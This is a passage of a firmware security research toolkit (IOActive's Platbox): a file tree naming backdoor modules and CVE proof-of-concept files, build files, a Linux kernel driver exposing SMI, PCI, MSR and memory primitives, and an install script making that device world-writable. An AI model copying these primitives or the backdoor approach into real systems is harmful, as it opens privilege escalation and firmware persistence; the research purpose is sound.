├── .gitignore ├── CMakeLists.txt ├── DxeBackdoor ├── DxeBackdoor.depex ├── DxeBackdoor.efi └── notes.txt ├── LICENSE.txt ├── PlatboxClient ├── CMakeLists.txt ├── PlatboxClient.cpp ├── PlatboxClient.h └── README.md ├── PlatboxDrv ├── linux │ ├── driver │ │ ├── Makefile │ │ ├── install.sh │ │ ├── kernetix.c │ │ ├── low_level_functions.asm │ │ └── reload.sh │ └── include │ │ └── kernetix.h └── windows │ ├── Platbox.sln │ └── Platbox │ ├── CbHooks.c │ ├── CbHooks.h │ ├── Platbox.c │ ├── Platbox.h │ ├── Platbox.inf │ ├── Platbox.vcxproj │ ├── Platbox.vcxproj.filters │ └── low_level_functions.asm ├── PlatboxLib ├── CMakeLists.txt ├── DeltaFuzz │ ├── CMakeLists.txt │ ├── DeltaFuzz.c │ ├── DeltaFuzz.h │ ├── DeltaFuzzLib.lib │ └── README.md ├── README.md ├── inc │ ├── UEFIVars.h │ ├── Util.h │ ├── _io.h │ ├── amd │ │ ├── amd_acpi.h │ │ ├── amd_chipset.h │ │ ├── amd_psp.h │ │ └── amd_spi.h │ ├── common_chipset.h │ ├── global.h │ ├── intel │ │ ├── intel_chipset.h │ │ ├── intel_gpio.h │ │ └── intel_pch_regs_gpio.h │ ├── linux │ │ └── __linux.h │ ├── msr.h │ ├── pci.h │ ├── physmem.h │ ├── smm │ │ ├── smi.h │ │ ├── smi_fuzz.h │ │ └── smm_communicate.h │ ├── types.h │ └── windows │ │ └── __win.h └── src │ ├── UEFIVars.cpp │ ├── Util.cpp │ ├── _run_attempt.asm │ ├── amd │ ├── amd_acpi.cpp │ ├── amd_chipset.cpp │ ├── amd_psp.cpp │ └── amd_spi.cpp │ ├── common_chipset.cpp │ ├── global.cpp │ ├── intel │ ├── intel_chipset.cpp │ └── intel_gpio.cpp │ ├── io.cpp │ ├── linux │ └── placeholder │ ├── msr.cpp │ ├── pci.cpp │ ├── physmem.cpp │ ├── smm │ ├── smi.cpp │ ├── smi_fuzz.cpp │ └── smm_communicate.cpp │ └── windows │ ├── acpidump.cpp │ ├── kernelHookCb.cpp │ └── page_tables.cpp ├── README.md ├── SmmBackdoor ├── README.md ├── SmmBackdoor.c ├── SmmBackdoor.depex ├── SmmBackdoor.efi └── SmmBackdoor.inf ├── build.bat ├── build.sh ├── compiled ├── Platbox.cer ├── Platbox.inf ├── Platbox.sys ├── platbox_cli ├── platbox_cli.exe └── pocs │ └── dummy ├── example_chipset_output_amd.png ├── example_chipset_output_amd2.png ├── pocs ├── Acer │ ├── CVE-2023-28468.cpp │ └── SmmCallout.cpp ├── AmdSinkclose │ ├── sinkclose.cpp │ └── sinkclose.s ├── CMakeLists.txt ├── Huawei │ └── CVE-2023-28468.cpp ├── Misc │ ├── SecSMIFlash.cpp │ └── SmmKeyDemo.cpp ├── README.md └── SecureCoreAcer │ └── DirectSpiAccess.cpp └── tools ├── add-env.ps1 ├── amd_smram_parser ├── amd_smram_parser.py ├── ctypes_utils.py └── efiguids │ ├── __init__.py │ ├── efiguids_ami.py │ ├── efiguids_asrock.py │ ├── efiguids_dell.py │ ├── efiguids_lenovo.py │ └── efiguidsx.py ├── bootscript-parser3.py ├── decode_mmio.py ├── efs_parser.py ├── rom_armor_psp_policy.py └── smm_supervisor_policy_parser ├── README.md ├── policy_entry.py └── smm-supervisor-policy-parser.py /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | .vscode 7 | .DS_Store 8 | 9 | # User-specific files 10 | *.suo 11 | *.user 12 | *.userosscache 13 | *.sln.docstates 14 | *.bin 15 | # User-specific files (MonoDevelop/Xamarin Studio) 16 | *.userprefs 17 | 18 | build/ 19 | build64/ 20 | 21 | # Build results 22 | 23 | [Dd]ebugPublic/ 24 | 25 | [Rr]eleases/ 26 | bld/ 27 | [Bb]in/ 28 | [Oo]bj/ 29 | [Ll]og/ 30 | 31 | # Visual Studio 2015/2017 cache/options directory 32 | .vs/ 33 | # Uncomment if you have tasks that create the project's static files in wwwroot 34 | #wwwroot/ 35 | 36 | # Visual Studio 2017 auto generated files 37 | Generated\ Files/ 38 | 39 | # MSTest test Results 40 | [Tt]est[Rr]esult*/ 41 | [Bb]uild[Ll]og.* 42 | 43 | # NUNIT 44 | *.VisualState.xml 45 | TestResult.xml 46 | 47 | # Build Results of an ATL Project 48 | [Dd]ebugPS/ 49 | [Rr]eleasePS/ 50 | dlldata.c 51 | 52 | # Benchmark Results 53 | BenchmarkDotNet.Artifacts/ 54 | 55 | # .NET Core 56 | project.lock.json 57 | project.fragment.lock.json 58 | artifacts/ 59 | 60 | # StyleCop 61 | StyleCopReport.xml 62 | 63 | # Files built by Visual Studio 64 | *_i.c 65 | *_p.c 66 | *_i.h 67 | *.ilk 68 | *.meta 69 | *.obj 70 | *.iobj 71 | *.pch 72 | *.pdb 73 | *.ipdb 74 | *.pgc 75 | *.pgd 76 | *.rsp 77 | *.sbr 78 | *.tlb 79 | *.tli 80 | *.tlh 81 | *.tmp 82 | *.tmp_proj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | 259 | # Microsoft Fakes 260 | FakesAssemblies/ 261 | 262 | # GhostDoc plugin setting file 263 | *.GhostDoc.xml 264 | 265 | # Node.js Tools for Visual Studio 266 | .ntvs_analysis.dat 267 | node_modules/ 268 | 269 | # Visual Studio 6 build log 270 | *.plg 271 | 272 | # Visual Studio 6 workspace options file 273 | *.opt 274 | 275 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 276 | *.vbw 277 | 278 | # Visual Studio LightSwitch build output 279 | **/*.HTMLClient/GeneratedArtifacts 280 | **/*.DesktopClient/GeneratedArtifacts 281 | **/*.DesktopClient/ModelManifest.xml 282 | **/*.Server/GeneratedArtifacts 283 | **/*.Server/ModelManifest.xml 284 | _Pvt_Extensions 285 | 286 | # Paket dependency manager 287 | .paket/paket.exe 288 | paket-files/ 289 | 290 | # FAKE - F# Make 291 | .fake/ 292 | 293 | # JetBrains Rider 294 | .idea/ 295 | *.sln.iml 296 | 297 | # CodeRush 298 | .cr/ 299 | 300 | # Python Tools for Visual Studio (PTVS) 301 | __pycache__/ 302 | *.pyc 303 | 304 | # Cake - Uncomment if you are using it 305 | # tools/** 306 | # !tools/packages.config 307 | 308 | # Tabs Studio 309 | *.tss 310 | 311 | # Telerik's JustMock configuration file 312 | *.jmconfig 313 | 314 | # BizTalk build output 315 | *.btp.cs 316 | *.btm.cs 317 | *.odx.cs 318 | *.xsd.cs 319 | 320 | # OpenCover UI analysis results 321 | OpenCover/ 322 | 323 | # Azure Stream Analytics local run output 324 | ASALocalRun/ 325 | 326 | # MSBuild Binary and Structured Log 327 | *.binlog 328 | 329 | # NVidia Nsight GPU debugger configuration file 330 | *.nvuser 331 | 332 | # MFractors (Xamarin productivity tool) working folder 333 | .mfractor/ 334 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.13) 2 | 3 | # Maps to Visual Studio solution file (Tutorial.sln) 4 | # The solution will have all targets (exe, lib, dll) 5 | # as Visual Studio projects (.vcproj) 6 | project (PlatboxClient) 7 | 8 | add_subdirectory(PlatboxLib) 9 | add_subdirectory(PlatboxClient) 10 | add_subdirectory(pocs) -------------------------------------------------------------------------------- /DxeBackdoor/DxeBackdoor.depex: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/DxeBackdoor/DxeBackdoor.depex -------------------------------------------------------------------------------- /DxeBackdoor/DxeBackdoor.efi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/DxeBackdoor/DxeBackdoor.efi -------------------------------------------------------------------------------- /DxeBackdoor/notes.txt: -------------------------------------------------------------------------------- 1 | A Dxe module that installs the SMM_KEY as 0x4141414141414141 -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 IOActive 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PlatboxClient/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.13) 2 | 3 | # Maps to Visual Studio solution file (Tutorial.sln) 4 | # The solution will have all targets (exe, lib, dll) 5 | # as Visual Studio projects (.vcproj) 6 | project (PlatboxClient) 7 | 8 | include_directories ( 9 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc" 10 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/smm" 11 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/intel" 12 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/amd" 13 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/DeltaFuzz" 14 | ) 15 | 16 | if (WIN32) 17 | include_directories ("${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/windows") 18 | endif (WIN32) 19 | 20 | if (UNIX) 21 | include_directories ( 22 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/linux" 23 | "${PROJECT_SOURCE_DIR}/../PlatboxDrv/linux/include" 24 | ) 25 | endif (UNIX) 26 | 27 | SET (PROJECT_ROOT "${PROJECT_SOURCE_DIR}") 28 | 29 | set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") 30 | set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} /MTd") 31 | 32 | set (PROJECT_SOURCES 33 | PlatboxClient.cpp 34 | ) 35 | 36 | # main executable 37 | add_executable(platbox_cli "${PROJECT_SOURCES}") 38 | 39 | # link lib 40 | target_link_libraries (platbox_cli platbox_lib -static) 41 | -------------------------------------------------------------------------------- /PlatboxClient/PlatboxClient.h: -------------------------------------------------------------------------------- 1 | // Written by Enrique Nissim (IOActive) 06/2018 2 | 3 | 4 | #pragma once 5 | #include "global.h" 6 | #include "pci.h" 7 | #include "common_chipset.h" 8 | #include "Util.h" 9 | #include "physmem.h" 10 | #include "msr.h" 11 | #include "smm_communicate.h" 12 | #include "smi_fuzz.h" 13 | #include "UEFIVars.h" 14 | 15 | 16 | 17 | void parse_handle_physmem_operation(int argc, char **argv); 18 | void parse_handle_map2user_operation(int argc, char **argv); 19 | void parse_handle_alloc_operation(int argc, char **argv); 20 | void parse_handle_free_memory_operation(int argc, char **argv); 21 | void parse_handle_mem_dump_operation(int argc, char **argv); 22 | 23 | 24 | void parse_bus_device_function(char *line, UINT *bus, UINT *device, UINT *function); 25 | void parse_handle_pci_operation(int argc, char **argv); 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /PlatboxClient/README.md: -------------------------------------------------------------------------------- 1 | - -------------------------------------------------------------------------------- /PlatboxDrv/linux/driver/Makefile: -------------------------------------------------------------------------------- 1 | DESTDIR = 2 | MODDIR = $(DESTDIR)/lib/modules 3 | KVERS = $(shell uname -r) 4 | KVER = $(KVERS) 5 | VMODDIR = $(MODDIR)/$(KVER) 6 | KSRC ?= $(VMODDIR)/build 7 | 8 | obj-m := kernetix_km.o 9 | kernetix_km-objs += kernetix.o low_level_functions.o 10 | 11 | EXTRA_CFLAGS := -I$(src)/../include 12 | 13 | quiet_cmd_nasm64 = NASM_64 $@ 14 | cmd_nasm64 = nasm -f elf64 -o $@ $< 15 | 16 | all: kernetix 17 | 18 | check_kernel_dir: 19 | @if [ ! -d $(KSRC) ]; then \ 20 | echo "Unable to find the Linux source tree."; \ 21 | exit 1; \ 22 | fi 23 | 24 | kernetix: check_kernel_dir clean 25 | make -C $(KSRC) M=$(PWD) modules 26 | 27 | clean: 28 | make -C $(KSRC) M=$(PWD) clean 29 | 30 | 31 | $(obj)/low_level_functions.o: $(src)/low_level_functions.asm 32 | $(call if_changed,nasm64) 33 | 34 | 35 | -------------------------------------------------------------------------------- /PlatboxDrv/linux/driver/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rmmod kernetix_km 4 | make clean 5 | make 6 | insmod kernetix_km.ko 7 | chmod 777 /dev/KernetixDriver0 8 | 9 | echo "All done..." 10 | -------------------------------------------------------------------------------- /PlatboxDrv/linux/driver/low_level_functions.asm: -------------------------------------------------------------------------------- 1 | global _swsmi 2 | global _read_pci_compatible_configuration_space 3 | global _read_pci_byte 4 | global _read_pci_word 5 | global _read_pci_dword 6 | global _read_pci_bar_size 7 | global _write_pci_byte 8 | global _write_pci_word 9 | global _write_pci_dword 10 | global _rdmsr 11 | global _wrmsr 12 | global _store_savestate 13 | global _cli 14 | global _sti 15 | global _swsmi_sinkclose 16 | 17 | section .text 18 | 19 | 20 | _store_savestate: 21 | ; 0x3200 -> RIP 22 | ; 0x3208 -> RSP 23 | ; 0x3210 -> RBP 24 | ; 0x3218 -> CR3 25 | ; 0x3220 -> Mutex (signal from core0) 26 | 27 | ; Save CR3 28 | push rax 29 | mov rax, cr3 30 | mov [rdi + 18h], rax 31 | 32 | ; RIP is not saved here? 33 | mov rax, _exit_store_savestate 34 | mov [rdi], rax 35 | pop rax 36 | 37 | mov [rdi + 10h], rbp 38 | mov [rdi + 08h], rsp 39 | 40 | mov dword [rdi + 20h], 0 ; Set the Mutex to 0 41 | _exit_store_savestate: 42 | ret 43 | 44 | ; void _swsmi(SW_SMI_CALL *smi_call); 45 | _swsmi: 46 | push r15 47 | push r14 48 | push r13 49 | push r12 50 | push r11 51 | push r10 52 | push r9 53 | push r8 54 | push rsi 55 | push rdx 56 | push rbx 57 | push rcx 58 | push rdi 59 | 60 | ; set registers to state of provided structure 61 | mov r15, [rdi + 080h] 62 | mov r14, [rdi + 078h] 63 | mov r13, [rdi + 070h] 64 | mov r12, [rdi + 068h] 65 | mov r11, [rdi + 060h] 66 | mov r10, [rdi + 058h] 67 | mov r9, [rdi + 050h] 68 | mov r8, [rdi + 048h] 69 | ; rdi handled later 70 | mov rsi, [rdi + 038h] 71 | mov rdx, [rdi + 030h] 72 | mov rcx, [rdi + 028h] 73 | mov rbx, [rdi + 020h] 74 | 75 | ; The trigger port might be different than 0xB2 in AMD 76 | mov dx, [rdi + 010h] 77 | 78 | mov rax, [rdi + 08h] 79 | shl rax, 8 80 | or rax, [rdi] 81 | 82 | mov rdi, [rdi + 040h] ; get rdi value just before the OUT instruction 83 | 84 | wbinvd 85 | ; this OUT instruction will write WORD value (smi_code_data) to ports 0xB2 and 0xB3 (SW SMI control and data ports) 86 | out dx, ax 87 | 88 | ;; write to structure the changes that could have happened in SMM 89 | 90 | push rax; save return RAX from SMI 91 | mov rax, [rsp + 08h]; rax points to original RDI 92 | 93 | mov [rax + 080h], r15 94 | mov [rax + 078h], r14 95 | mov [rax + 070h], r13 96 | mov [rax + 068h], r12 97 | mov [rax + 060h], r11 98 | mov [rax + 058h], r10 99 | mov [rax + 050h], r9 100 | mov [rax + 048h], r8 101 | mov [rax + 040h], rdi 102 | mov [rax + 038h], rsi 103 | mov [rax + 030h], rdx 104 | mov [rax + 028h], rcx 105 | mov [rax + 020h], rbx 106 | 107 | pop r15 ; retrieve original rax 108 | mov [rax + 018h], r15 109 | 110 | pop rdi 111 | pop rcx 112 | pop rbx 113 | pop rdx 114 | pop rsi 115 | pop r8 116 | pop r9 117 | pop r10 118 | pop r11 119 | pop r12 120 | pop r13 121 | pop r14 122 | pop r15 123 | 124 | xor rax, rax 125 | 126 | ret 127 | 128 | _swsmi_sinkclose: 129 | ; The trigger port might be different than 0xB2 in AMD 130 | mov dx, [rdi] 131 | xor rax, rax 132 | wbinvd 133 | out dx, ax 134 | xor rax, rax 135 | ret 136 | 137 | ; _read_pci_compatible_configuration_space(UINT8 Bus, UINT8 Device, UINT8 Function, PVOID pOut) 138 | ; Reads the 256 bytes of PCI Configuration data from a BDF into pOut 139 | _read_pci_compatible_configuration_space: 140 | push rbx 141 | cli 142 | 143 | xor rax, rax 144 | mov al, 1 145 | shl eax, 1Fh 146 | shl edi, 10h 147 | shl esi, 0Bh 148 | shl edx, 08h 149 | or eax, edi 150 | or eax, esi 151 | or eax, edx 152 | mov rbx, rax 153 | mov rdi, rcx 154 | xor rcx, rcx 155 | not rcx 156 | _loop: 157 | inc rcx 158 | mov rax, rcx 159 | shl eax, 02h 160 | or eax, ebx 161 | 162 | mov dx, 0CF8h 163 | out dx, eax 164 | xor rax, rax 165 | mov dx, 0CFCh 166 | in eax, dx 167 | 168 | mov [rdi+rcx*4], eax 169 | 170 | cmp cl, 40h 171 | jnz _loop 172 | 173 | sti 174 | pop rbx 175 | ret 176 | 177 | 178 | ; void _read_pci_byte( UINT32 CF8, PVOID pOut); 179 | _read_pci_byte: 180 | cli 181 | xor rdx, rdx 182 | mov dx, 0CF8h 183 | mov eax, edi 184 | out dx, eax 185 | xor rax, rax 186 | mov dx, 0CFCh 187 | in al, dx 188 | mov [rsi], al 189 | sti 190 | ret 191 | 192 | 193 | ; void _read_pci_word( UINT32 CF8, PVOID pOut); 194 | _read_pci_word: 195 | cli 196 | xor rdx, rdx 197 | mov dx, 0CF8h 198 | mov eax, edi 199 | out dx, eax 200 | xor rax, rax 201 | mov dx, 0CFCh 202 | in ax, dx 203 | mov [rsi], ax 204 | sti 205 | ret 206 | 207 | 208 | ; void _read_pci_dword( UINT32 CF8, PVOID pOut); 209 | _read_pci_dword: 210 | 211 | cli 212 | xor rdx, rdx 213 | mov dx, 0CF8h 214 | mov eax, edi 215 | out dx, eax 216 | xor rax, rax 217 | mov dx, 0CFCh 218 | in eax, dx 219 | mov [rsi], eax 220 | sti 221 | ret 222 | 223 | 224 | ; void _write_pci_byte( UINT32 CF8, UINT32 value); 225 | _write_pci_byte: 226 | 227 | cli 228 | xor rdx, rdx 229 | mov dx, 0CF8h 230 | mov eax, edi 231 | out dx, eax 232 | xor rax, rax 233 | mov eax, esi 234 | mov dx, 0CFCh 235 | out dx, al 236 | sti 237 | ret 238 | 239 | 240 | ; void _write_pci_word( UINT32 CF8, UINT32 value); 241 | _write_pci_word: 242 | cli 243 | xor rdx, rdx 244 | mov dx, 0CF8h 245 | mov eax, edi 246 | out dx, eax 247 | xor rax, rax 248 | mov eax, esi 249 | mov dx, 0CFCh 250 | out dx, ax 251 | sti 252 | ret 253 | 254 | 255 | ; void _write_pci_dword( UINT32 CF8, UINT32 value); 256 | _write_pci_dword: 257 | cli 258 | xor rdx, rdx 259 | mov dx, 0CF8h 260 | mov eax, edi 261 | out dx, eax 262 | xor rax, rax 263 | mov eax, esi 264 | mov dx, 0CFCh 265 | out dx, eax 266 | sti 267 | ret 268 | 269 | 270 | ; void _read_pci_bar_size( UINT32 CF8, PVOID pOut); 271 | _read_pci_bar_size: 272 | push rbx 273 | push rdx 274 | push rcx 275 | mov rbx, rsi 276 | mov rcx, rdi 277 | ; read the current BAR value 278 | call _read_pci_dword 279 | mov rsi, rdi 280 | 281 | ; writes 0xFFFFFFFF to the BAR 282 | cli 283 | xor rdx, rdx 284 | mov dx, 0CF8h 285 | mov rax, rsi 286 | out dx, eax 287 | xor rax, rax 288 | not rax 289 | mov dx, 0CFCh 290 | out dx, eax 291 | 292 | ; reads the size 293 | xor rax, rax 294 | in eax, dx 295 | mov rcx, rax 296 | 297 | ; restore the BAR with saved value 298 | mov dx, 0CFCh 299 | mov eax, [rbx] 300 | out dx, eax 301 | 302 | ; write the result into the output 303 | mov [rbx], rcx 304 | sti 305 | pop rcx 306 | pop rdx 307 | pop rbx 308 | ret 309 | 310 | 311 | 312 | ; _rdmsr(int MSR, PVOID pOut) 313 | _rdmsr: 314 | mov rcx, rdi 315 | rdmsr 316 | shl rdx, 20h 317 | or rax, rdx 318 | mov [rsi], rax 319 | ret 320 | 321 | 322 | ; _wrmsr(int MSR, UINT64 Value) 323 | _wrmsr: 324 | xor rax, rax 325 | mov rdx, rsi 326 | mov eax, edx 327 | shr rdx, 20h 328 | mov rcx, rdi 329 | wrmsr 330 | ret 331 | 332 | 333 | _cli: 334 | cli 335 | ret 336 | 337 | _sti: 338 | sti 339 | ret -------------------------------------------------------------------------------- /PlatboxDrv/linux/driver/reload.sh: -------------------------------------------------------------------------------- 1 | sudo rmmod kernetix_km.ko 2 | sudo insmod kernetix_km.ko -------------------------------------------------------------------------------- /PlatboxDrv/linux/include/kernetix.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** 3 | ** Definitions for kernetix Driver 4 | ** 5 | */ 6 | 7 | #include 8 | #include 9 | 10 | #define KERNETIX_BLOCK_SIZE 0x200 11 | #define KERNETIX_BUFFER_SIZE 0x1000 12 | #define KERNETIX_DEVICE_NAME "KernetixDriver" 13 | 14 | #define KERNETIX_MAJOR 0 15 | 16 | extern int kernetix_major; 17 | 18 | struct _kernel_read 19 | { 20 | void *address; 21 | void *value; 22 | }; 23 | 24 | struct _kernel_write 25 | { 26 | void *address; 27 | void *value; 28 | void *old_value; 29 | }; 30 | 31 | typedef unsigned short USHORT; 32 | typedef USHORT UINT16; 33 | typedef unsigned int UINT; 34 | typedef UINT UINT32; 35 | typedef char CHAR; 36 | typedef unsigned char UCHAR; 37 | typedef int BOOL; 38 | typedef unsigned char BYTE; 39 | typedef BYTE* PBYTE; 40 | typedef BYTE UINT8; 41 | typedef BYTE BOOLEAN; 42 | 43 | #ifndef PLATBOX_CLIENT 44 | typedef __u64 UINT64; 45 | #endif 46 | 47 | typedef void * PVOID; 48 | typedef unsigned short WORD; 49 | typedef unsigned short USHORT; 50 | typedef unsigned long ULONG; 51 | typedef ULONG* PULONG; 52 | typedef unsigned int DWORD; 53 | typedef unsigned int DWORD32; 54 | typedef UINT64 DWORD64; 55 | typedef int HANDLE; 56 | 57 | typedef short WCHAR; 58 | 59 | typedef int NTSTATUS; 60 | 61 | #define FALSE 0 62 | #define TRUE 1 63 | #define CHAR_BIT 8 64 | #define UCHAR_MAX 255 65 | 66 | #define IO_SIZE_BYTE 0 67 | #define IO_SIZE_WORD 1 68 | #define IO_SIZE_DWORD 2 69 | 70 | void _read_pci_compatible_configuration_space(UINT8 Bus, 71 | UINT8 Device, UINT8 Function, PVOID pOut); 72 | void _read_pci_byte( UINT32 CF8, PVOID pOut); 73 | void _read_pci_word( UINT32 CF8, PVOID pOut); 74 | void _read_pci_dword( UINT32 CF8, PVOID pOut); 75 | void _write_pci_byte( UINT32 CF8, UINT32 value); 76 | void _write_pci_word( UINT32 CF8, UINT32 value); 77 | void _write_pci_dword( UINT32 CF8, UINT32 value); 78 | void _read_pci_bar_size( UINT32 CF8, PVOID pOut); 79 | void _rdmsr(int MSR, PVOID pOut); 80 | void _wrmsr(int MSR, UINT64 Value); 81 | void _cli(void); 82 | void _sti(void); 83 | void _swsmi_sinkclose(UINT64 trigger_port); 84 | 85 | 86 | typedef struct _SW_SMI_CALL { 87 | UINT64 SwSmiNumber; // 0xb2 88 | UINT64 SwSmiData; // 0xb3 89 | UINT64 TriggerPort; 90 | UINT64 rax; 91 | UINT64 rbx; 92 | UINT64 rcx; 93 | UINT64 rdx; 94 | UINT64 rsi; 95 | UINT64 rdi; 96 | UINT64 r8; 97 | UINT64 r9; 98 | UINT64 r10; 99 | UINT64 r11; 100 | UINT64 r12; 101 | UINT64 r13; 102 | UINT64 r14; 103 | UINT64 r15; 104 | // append maybe? 105 | } SW_SMI_CALL, *PSW_SMI_CALL; 106 | 107 | void _swsmi(SW_SMI_CALL *smi_call); 108 | 109 | void _store_savestate(void *base_address); 110 | 111 | typedef struct _READ_PCI_CONFIGURATION_SPACE_CALL { 112 | UINT8 bus; 113 | UINT8 device; 114 | UINT8 function; 115 | 116 | PVOID buffer; 117 | } READ_PCI_CONFIGURATION_SPACE_CALL, *PREAD_PCI_CONFIGURATION_SPACE_CALL; 118 | 119 | 120 | typedef struct _READ_PCI_DATA_CALL { 121 | UINT8 bus; 122 | UINT8 device; 123 | UINT8 function; 124 | UINT8 offset; 125 | 126 | UINT64 *result; 127 | } READ_PCI_DATA_CALL, *PREAD_PCI_DATA_CALL; 128 | 129 | 130 | typedef struct _WRITE_PCI_DATA_CALL { 131 | UINT8 bus; 132 | UINT8 device; 133 | UINT8 function; 134 | UINT8 offset; 135 | UINT32 value; 136 | } WRITE_PCI_DATA_CALL, *PWRITE_PCI_DATA_CALL; 137 | 138 | 139 | 140 | typedef struct _READ_PHYSICAL_MEM_CALL { 141 | __u64 address; 142 | } READ_PHYSICAL_MEM_CALL, 